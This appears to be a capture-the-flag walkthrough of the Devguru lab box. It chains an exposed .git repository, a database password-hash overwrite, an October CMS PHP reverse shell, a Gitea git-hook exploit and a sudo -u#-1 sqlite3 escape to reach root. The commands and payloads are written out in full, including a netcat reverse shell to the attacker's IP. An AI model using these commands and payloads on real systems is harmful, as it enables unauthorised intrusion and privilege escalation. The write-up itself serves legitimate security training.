HMV Devguru Walkthrough

2026-03-30 2026-03-30907 Words

This is a Linux box that initially looked like a standard corporate website plus a small Git service on port 8585. The real problem was that the main web root exposed /.git/, which turned the target into a source-code disclosure bug. From the dumped repository I recovered October CMS database credentials, reset the backend user's password by replacing its bcrypt hash, and used a known October CMS authenticated RCE to land as www-data.

From there, local enumeration showed that frank was running Gitea and that a backup app.ini under /var/backups/ contained a second set of database credentials. Repeating the same "replace instead of crack" strategy on the Gitea user table gave me access to Frank's Gitea account. The installed Gitea version was vulnerable to authenticated Git hook RCE, which yielded a shell as frank. The final step was a misconfigured sudoers rule for sqlite3; by using the classic sudo -u#-1 trick against an affected sudo version, I escalated to root.

Summary

Scope

  • Name: Devguru
  • Difficulty: (6/10)
  • OS: Linux
  • IP: devguru.local (192.168.56.113)

Learned

  • An exposed .git directory can leak much more than source code: it often reveals service topology, usernames, and reusable secrets.
  • When an application database is reachable with leaked credentials, replacing a password hash is usually faster than trying to crack it.
  • Backup configuration files such as /var/backups/app.ini.bak are high-value loot during post-exploitation.
  • sudoers entries like (ALL, !root) are not a safe boundary on vulnerable sudo versions.

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Mon Mar 30 15:23:07 2026 as: nmap -p- --min-rate 3000 -oN overall 192.168.56.113
Nmap scan report for 192.168.56.113
Host is up (0.000064s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8585/tcp open  unknown

Detail

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-git:
|   192.168.56.113:80/.git/
|     Git repository found!
|     Remotes:
|       http://devguru.local:8585/frank/devguru-website.git
|_http-title: Corp - DevGuru
8585/tcp open  http    Golang net/http server
|_http-title:  Gitea: Git with a cup of tea

That scan result already laid out the attack surface. Port 80 hosted the Devguru website, but the more important clue was http-git reporting that the web root exposed a live Git repository. Port 8585 was a separate Gitea instance, and the leaked remote URL tied both services together through the user frank.

A quick browser check of the exposed services made that split fairly obvious as well.

2026-03-30_15-43.avif
Figure 1: October CMS backend

Web

A quick directory brute-force confirmed that the web server was far too open.

$ gobuster dir -u http://192.168.56.113/ -w /usr/share/wordlists/dirb/common.txt -t 10 -x php,txt,html,bak,zip,pdf

.git/HEAD            (Status: 200)
backend              (Status: 302)
config               (Status: 301)
modules              (Status: 301)
plugins              (Status: 301)
storage              (Status: 301)
themes               (Status: 301)
vendor               (Status: 301)

The exposed /.git/ directory was the obvious priority, so I dumped the repository locally.

$ git-dumper http://192.168.56.113/.git src

The repository metadata immediately revealed the internal hostname and the Gitea project that backed the website.

[remote "origin"]
    url = http://devguru.local:8585/frank/devguru-website.git
[branch "master"]
    remote = origin
    merge = refs/heads/master

Reviewing the dumped source was enough to identify the stack as October CMS and, more importantly, to recover its MySQL credentials.

'name' => 'October CMS',
'key' => '6sV31eACpUbLCNTKumX3zb5LiKD8gHin',

'mysql' => [
    'host'     => 'localhost',
    'port'     => 3306,
    'database' => 'octoberdb',
    'username' => 'october',
    'password' => 'SQ************XH',
],

At that point brute forcing was unnecessary. If the application leaked working database credentials, it was much simpler to write a password I controlled than to recover Frank's original one.

Foothold

Using the October CMS database credentials, I connected to MySQL and inspected the backend administrator table. The dumped code showed that backend users live in backend_users and store a bcrypt-hashed password field, so I generated my own bcrypt value locally and replaced Frank's hash.

UPDATE backend_users
SET password = '$2y$10$<my-bcrypt-hash>'
WHERE login = 'frank';
generated_bcrypt_hash.avif
Figure 2: Generating a bcrypt hash locally
change_frank_password_hash.avif
Figure 3: Replacing the backend password hash

After that change, I could sign in to /backend as frank. The installed version was October CMS 1.0.469. That matched the vulnerable branch noted in the local research notes. The backend then turned into code execution: an authenticated CMS page snippet using onInit() was enough to trigger a reverse shell.

<?php
function onInit() {
    passthru('busybox nc 192.168.56.1 1337 -e /bin/bash');
}
CVE-2022-21705_PoC.avif
Figure 4: The authenticated October CMS PoC
CVE-2022-21705_PoC1.avif
Figure 5: Triggering the PoC and confirmed code execution.

Once the page executed, I landed as www-data.

Privilege Escalation

www-data to frank

Basic host enumeration narrowed the interesting users down quickly.

www-data@devguru:/var/www/html$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
frank:x:1000:1000:,,,:/home/frank:/bin/bash

A process listing showed that frank was running Gitea.

www-data@devguru:/home$ ps -ef | grep frank | grep -v grep
frank  748  1  0 10:22 ?  00:00:40 /usr/local/bin/gitea web --config /etc/gitea/app.ini

That immediately justified hunting for Gitea-owned files, and the search paid off with a backup configuration file.

www-data@devguru:/home$ find / -mount -user frank -or -group frank 2>/dev/null
/var/lib/gitea
/var/backups/app.ini.bak
/usr/local/bin/gitea
/opt/gitea
/home/frank
/etc/gitea

The backup app.ini contained a second set of database credentials.

[database]
DB_TYPE = mysql
HOST    = 127.0.0.1:3306
NAME    = gitea
USER    = gitea
PASSWD  = Uf************2m

Querying the gitea database exposed Frank's stored password hash.

SELECT name, salt, passwd, passwd_hash_algo FROM user;

+-------+------------+------------------------------------------------------------------------------------------------------+------------------+
| name  | salt       | passwd                                                                                               | passwd_hash_algo |
+-------+------------+------------------------------------------------------------------------------------------------------+------------------+
| frank | Bop8nwtUiM | c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900 | pbkdf2           |
+-------+------------+------------------------------------------------------------------------------------------------------+------------------+

Again, cracking was the slow option. Gitea stores the hash value and the algorithm metadata separately, so I replaced both and reused the bcrypt value I had already generated for October CMS.

UPDATE user
SET passwd = '$2y$10$<my-bcrypt-hash>',
    passwd_hash_algo = 'bcrypt'
WHERE name = 'frank';

With that done, I logged into Gitea on port 8585 as frank. The version there was 1.12.5. That release was vulnerable to authenticated Git hook RCE. I downloaded a exploit script from the GitHub proof of concept and reused it directly.

gitea_vuln.avif
Figure 6: Gitea 1.12.5 was the pivot point from www-data to frank.
$ python3 exploit.py -t http://devguru.local:8585 -u frank -p '<new-password>' -I 192.168.56.1 -P 1337

After the malicious post-receive hook fired, the reverse shell came back as frank.

Connection received on 192.168.56.113 41956
frank@devguru:~/gitea-repositories/frank/exploit.git$ id
uid=1000(frank) gid=1000(frank) groups=1000(frank)

frank to root

The final escalation step was hidden in sudoers.

frank@devguru:/home/frank$ sudo -l
Matching Defaults entries for frank on devguru:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User frank may run the following commands on devguru:
    (ALL, !root) NOPASSWD: /usr/bin/sqlite3

At first glance that rule tries to forbid running sqlite3 as root, but on affected sudo versions the !root restriction can be bypassed with a numeric uid of -1. sqlite3 also gives us a shell escape, so the combination is fatal.

frank@devguru:/home/frank$ sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/bash'
id
uid=0(root) gid=1000(frank) groups=1000(frank)

That dropped me into a root shell and completed the box.

Takeaways

This machine chained together two very similar failures. First, the exposed website repository leaked database credentials, which let me replace an October CMS password hash and turn a web admin login into remote code execution. Second, a Gitea backup file leaked another database password, which let me repeat the same strategy against the self-hosted Git service and pivot to Frank.

The last mile was a classic Linux hardening failure: a dangerous sudoers rule combined with a version-dependent bypass. The broader lesson is that secrets, backups, and configuration drift compound each other. None of the individual bugs were especially exotic, but together they created a clean path from unauthenticated web access to root.

Footnotes:

1

October CMS authenticated RCE references: CVE-2022-21705 and CVE-2021-32649.

2

GitHub proof of concept I downloaded and reused: CVE-2020-14144 Git hook exploit.

3

Background for the sudo -u#-1 bypass and the sqlite3 shell escape: HackTricks and GTFObins.


Creator: Emacs 31.0.50 (Org mode 10.0-pre)